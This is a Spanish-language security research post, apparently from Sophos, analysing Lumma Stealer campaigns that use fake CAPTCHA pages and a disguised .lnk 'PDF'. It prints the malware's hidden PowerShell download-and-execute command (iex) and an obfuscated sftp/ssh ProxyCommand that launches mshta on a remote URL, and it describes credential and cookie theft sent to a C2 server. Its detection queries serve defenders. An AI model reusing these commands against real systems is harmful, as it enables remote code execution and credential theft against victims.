En septiembre de 2024, una búsqueda de amenazas en la telemetría de Sophos Managed Detection and Response descubrió una campaña de Lumma Stealer que utilizaba sitios CAPTCHA falsos que indicaban a las víctimas que pegaran un comando (malicioso) codificado en PowerShell en la interfaz de línea de comandos de Windows. Las investigaciones posteriores nos permitieron profundizar en el funcionamiento de este famoso ladrón de información. En esta publicación se relatan esos descubrimientos, tal y como se observaron en diversas investigaciones de MDR durante el otoño y el invierno de 2024-25.
Conceptos básicos de Lumma Stealer
Lumma Stealer lleva activo desde mediados de 2022 y se cree que fue creado por un desarrollador de habla rusa. Se ofrece como malware como servicio (MaaS) y su mantenedor vende el acceso al ladrón a través de Telegram y ofrece actualizaciones y asistencia al usuario. Se puede encontrar más información en un sitio web dedicado de Gitbook.
El ladrón de información tiene como objetivo diversos objetos de valor, como contraseñas, tokens de sesión, carteras de criptomonedas e información personal de dispositivos comprometidos. La amenaza se ve amplificada por sus astutos métodos de entrega. En un caso, el atacante manipuló la confianza de los usuarios en los retos CAPTCHA y empleó tácticas de ingeniería social para engañar a las víctimas que buscaban descargas de software. En otro caso más sencillo, se dirigió al usuario a un sitio malicioso y se le pidió que abriera un archivo en el Explorador de Windows.
Las variaciones que observamos en el comportamiento de Lumma Stealer son importantes para los defensores, ya que la infección por Lumma Stealer ha sido muy común en los últimos meses. Dicho esto, las técnicas de entrega que observamos podrían adaptarse fácilmente a otro malware más allá de Lumma Stealer, lo que hace que su documentación sea útil. (Se publicará una lista de IoC en nuestro repositorio de GitHub).
Nuestros investigadores conocen trabajos similares en curso de Netskope Threat Labs, incluida una estimación de que hasta 5000 sitios web con CAPTCHA falsos podrían estar involucrados actualmente en una campaña relacionada con Lumma Stealer. Del mismo modo, los investigadores de Qualys han realizado una sólida investigación para detallar los mecanismos que Lumma Stealer ha utilizado en los últimos meses. Sophos recomienda encarecidamente examinar los IoC que estos investigadores han puesto a disposición del público, además de los nuestros.
Investigación n.º 1: el arte del robo
En esta investigación, el flujo de ataque observado con la participación de CAPTCHA fue relativamente sencillo: el atacante crea un sitio malicioso, «protegido» por una verificación CAPTCHA de aspecto normal en hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. El usuario que visita el sitio hace clic en el cuadro «No soy un robot», como se muestra en la figura 1.

A continuación, se redirige al usuario a otra supuesta página de verificación, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, en la que se te pide que primero cargue el comando «ejecutar» de Windows y, a continuación, pulse Ctrl+V y Enter, como se muestra en la figura 2.

En segundo plano, una vez que el usuario pega el comando PowerShell en el cuadro de diálogo Ejecutar, se activa una función JavaScript oculta que coloca un script de PowerShell en el portapapeles y lo ejecuta en una ventana oculta:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe» -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS. Content; iex $t
Ese script recupera el malware ladrón de información de un servidor de comando y control (C2) y se inicia la carrera por la recuperación de la carga útil, como se muestra en la figura 3.

Cuando se ejecuta, el script de PowerShell recupera el malware Lumma Stealer de un servidor externo, iniciando la descarga de la primera fase de la carga útil maliciosa en el sistema comprometido. El comando
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex$t
recupera el contenido del archivo new-artist.txt alojado en el servidor externo. A continuación, este contenido se procesa y se ejecuta a través del cmdlet Invoke-Expression.
Este archivo new-artist.txt del código anterior contiene otro script de PowerShell, que se conecta a hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . Esta copia comprimida de Lumma Stealer se descarga en el equipo de destino, se extrae en la ruta %AppData% del usuario y se guarda como «ArtistSponsorship.exe» (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) para su posterior ejecución, como se muestra en la figura 4.

El archivo ArtistSponsorship.exe contiene, entre varios archivos descargados, como se ve en la Figura 5, el script AutoIt.exe ofuscado (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). Estos se descargan en el directorio %temp%.

El script AutoIT realiza varias acciones e incluye código shell. Entre sus actividades, se conecta al dominio C2 snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). A continuación, Lumma Stealer se dirige a los datos de los usuarios, las credenciales de inicio de sesión de varios navegadores, las carteras de bitcoins y las cookies. En la figura 6, AutoIt3.exe está accediendo a los datos de inicio de sesión y las cookies utilizados por el navegador Chrome.

A continuación, AutoIt3.exe ejecuta el script X.a3x para filtrar los datos de inicio de sesión y las cookies de Chrome capturados a la IP C2 104.21.84[.]251 (CLOUDFLARENET). En el caso que observamos, se filtró con éxito un archivo de solo 6,37 MB (los datos de inicio de sesión y las cookies), tras lo cual se terminó el proceso AutoIt3.exe.
Investigación n.º 2: análisis en profundidad del código
En esta sección, profundizaremos mucho más en los detalles de los archivos y procesos que encontramos en la cadena de entrega de la carga útil. En el caso que vamos a examinar, el usuario visitó sin darse cuenta un sitio infectado.
En primer lugar, se le pidió que abriera un archivo en formato PDF en el Explorador de Windows, como se muestra en la figura 7.

El archivo, aparentemente un PDF llamado «Instruction_695-18014-012_Rev.PDF», es en realidad un archivo .lnk (acceso directo) alojado de forma remota, como se muestra en la Figura 8.

El archivo de acceso directo intenta ejecutar un script de PowerShell ofuscado, como se muestra en la Figura 9.

El texto completo del script ofuscado es
C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]] pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')
Cuando un usuario ejecuta el archivo de acceso directo, sftp.exe ejecutará el comando ofuscado a través del indicador ProxyCommand. Sin embargo, sftp.exe no establece realmente la conexión de red por sí mismo, sino que delega la tarea a ssh.exe con un conjunto especial de parámetros:
«C:\Windows\System32\OpenSSH\ssh.exe» «-oForwardX11 no» «-oForwardAgent no» «-oPermitLocalCommand no» «-oClearAllForwardings yes» -o «ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')» “-oProtocol 2” -s -- . sftp .
Como vemos en el bloque de código anterior, los parámetros aprovechan la opción «ProxyCommand». ProxyCommand especifica un comando que se ejecutará en lugar de conectarse directamente al host de destino. En el ejemplo anterior, ProxyCommand se configura para ejecutar PowerShell, que a su vez ejecuta mshta.exe para descargar y ejecutar un script remoto.
La primera ejecución del script de PowerShell se muestra en la Figura 10.

Este script procesa datos cifrados con AES dentro de la función aepcc, como se muestra en la Figura 11.

En la figura 12, la clave AES aparece en primer lugar. A continuación, aparece un vector de inicialización (IV) de 16 bytes de ceros; el IV sirve para añadir aleatoriedad al inicio del proceso de cifrado. A pesar de ello, desciframos los datos con CyberChef, como se muestra.

A continuación, descodificamos el script desde base64, más cercano a un formato legible, pero ahora con una gran cantidad de decimales, como se muestra en la Figura 13.

Los decimales de esa masa de números son, en realidad, caracteres ASCII. Una nueva pasada por CyberChef, como se muestra en la Figura 14, revela que se trata de un archivo PE, diseñado para descargar más cargas útiles.

Este script realiza las siguientes acciones:
-
-
Establece la variable «O» igual a la URL C2.
-
Recupera dinámicamente el método «Load» de la clase .NET «System.Reflection.Assembly». A continuación, se invoca el método «Load» sobre el valor de la variable «oQ7» (el PE ofuscado); esto básicamente carga el PE en la memoria.
-
Como se muestra arriba, el PE contiene un único método estático denominado «aHdiNKuWlR». Este método descarga el contenido de la URL que se le pasa utilizando WebClient.El script pasa el valor de la variable «O» (que contiene la URL C2) al PE cargado en la memoria.
-
El método «aHdiNKuWlR» definido en el PE procesa la URL que se le pasa descargando su contenido mediante DownloadString.
-
La ruta «\appdata\roaming» se guarda en la variable «Ikmg».
-
Se ejecuta la función «bOje», que realiza las siguientes acciones:
-
La función primero agrega ‘i1040gi.pdf’ a la variable ‘Ikmg’ (ruta del archivo).
- Realiza una llamada a la función ‘rlYDr’ y pasa un identificador único que se recupera de los datos descifrados AES en la posición 103 con longitud 86, como se muestra en la Figura 15.
Figura 15: Vista hexadecimal del identificador único -
-
Comprueba si la ruta «\appdata\roaming\i1040gi.pdf» no existe.
-
Si la ruta del archivo no existe, ejecuta la función «XSFbo». Esta función toma dos parámetros:
-
«BtPdn»: esta función toma el identificador único como entrada. Extrae 100 caracteres específicos de los datos descifrados con AES y los utiliza como tabla de consulta para convertir el identificador único en una URL. La URL resultante es un documento PDF legítimo del IRS.
-
El segundo parámetro es la ruta del archivo en la variable «EVcD», como se muestra en la Figura 16.
-
-

Después de decodificar la URL, la función «XSFbo» toma la URL y descarga el contenido utilizando «Net.WebClient» (que también se decodificó utilizando «BtnPdn»), y luego guarda el PDF en la ruta del archivo especificada en la variable «EVcD», como se muestra en la Figura 17.

Por último, se ejecuta el PDF que se ha descargado, como se muestra en las figuras 18 y 19.


¡Pero espera! ¡Hay más!
Para concluir este análisis, volvamos a las etapas anteriores a la descarga y ejecución del PDF benigno.
Primero observamos que había una recuperación dinámica del método «Load», que se utilizó para cargar el PE incrustado que decodificamos. A continuación, observamos un método estático definido dentro del PE que se estaba utilizando para descargar la siguiente etapa. Por último, vemos que el script descargado se ejecuta con «InvokeScript». Centrémonos en esta siguiente etapa.
La siguiente etapa que se descargó está muy ofuscada con comentarios inútiles y nombres de variables muy largos, como se muestra en la figura 20.

Una vez desofuscado, descubrimos que este script es responsable de descargar una etapa final. El script cuenta con resolución dinámica de API de Windows de bajo nivel, como «GetProcAddress», «VirtualProtect» y «AmsiInitialize».
Detecciones
Las siguientes consultas pueden resultar útiles para los defensores que busquen pruebas de Lumma Stealer en sus sistemas.
Identifica todos los archivos de amenazas scripts/binarios de los SPID identificados utilizados para crear Lumma Stealer en las últimas ocho horas o en un intervalo de tiempo:
SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type WHEN 0 THEN 'Created' WHEN 2 THEN 'Deleted' END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256 FROM sophos_file_journal sfj LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid LEFT JOIN users u ON spj.sid = u.uuid WHERE sfj.sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND sfj.event_type IN (0, 2) AND sfj.time > strftime('%s', 'now', '-8 hour') --sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')
Identificar posibles exfiltraciones y C2:
SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, * FROM sophos_process_activity WHERE sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND subject IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Process', 'Network') AND time > strftime('%s', 'now', '-8 hour') --AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')
Identifica la URL de origen del CAPTCHA falso o del mensaje de verificación del historial de navegación:
SELECT f.path,f.directory,f.filename,f.size,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5 FROM file f LEFT JOIN hash h on f.path = h.path WHERE f.path LIKE 'C:\Users\%\AppData\Local\Google\Chrome\User Data\%\History' -- Windows history for Chrome OR f.path LIKE 'C:\Users\%\AppData\Local\Microsoft\Edge\User Data\%\History' -- history for Edge OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\places.sqlite' --Windows history for Firefox; OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\downloads.sqlite' --Windows history for Firefox; order by f.mtime DESC
Conclusión
Lumma Stealer sigue siendo una amenaza importante en el momento de escribir este artículo. La táctica documentada de utilizar sitios CAPTCHA falsos para engañar a las víctimas y que introduzcan un comando malicioso en sus propios sistemas es un giro desagradable de la situación. La protección de endpoints de Sophos contrarresta la amenaza con una serie de detecciones de malware y tácticas de análisis de comportamiento, pero educar a los usuarios para que desconfíen de los CAPTCHA, después de tantos años convenciéndoles de que los respondan, es una tarea difícil. A medida que se amplían esos esfuerzos de formación, se recomienda a los defensores que instauren una tecnología de detección de endpoints adecuada y que sean conscientes de que las tácticas de este infostealer tan común siguen evolucionando.
Agradecimientos
Andrew Jaeger, Nayana V R, David Whitehall y Waldemar Stiefvater han contribuido con sus revisiones y críticas constructivas a este trabajo.
Indicadores de compromiso
Los IoC recopilados en esta investigación están disponibles en nuestro repositorio GitHub.